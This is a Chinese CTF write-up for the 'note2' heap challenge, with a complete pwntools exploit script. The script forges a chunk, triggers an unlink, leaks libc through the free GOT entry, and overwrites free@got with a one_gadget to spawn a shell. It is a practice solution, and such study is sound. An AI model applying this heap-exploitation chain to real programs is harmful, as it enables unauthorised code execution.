PWN题_Note2
0x1.查保护
查保护发现题目开启了NX、stack。
0x2.静态分析
分析程序发现在edit处有栈溢出,但是由于有canary所以没法直接get shell,但是可以控制要free的指针。同时,在获取输入时,如果将note长度置为0,则可以过掉edit处的限制。利用name和address处的内存伪造堆块,利用栈溢出将其free,再次申请内存时就可以得到伪造的堆块,然后将name后面的指针表改写到got,利用show功能free,然后edit修改got即可拿到shell。
0x3.编写exp
#coding=utf-8
from pwn import *
io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")
#context.log_level = "debug"
def new_note(size, content):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(")")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def show_note(index):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(index))
def edit_note(index, choice, content):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil("]")
io.sendline(str(choice))
io.recvuntil(":")
io.sendline(content)
def delete_note(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)
delete_note(2) #unlink
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)
show_note(0)
io.recvuntil("is ")
free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))
#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')
io.interactive()








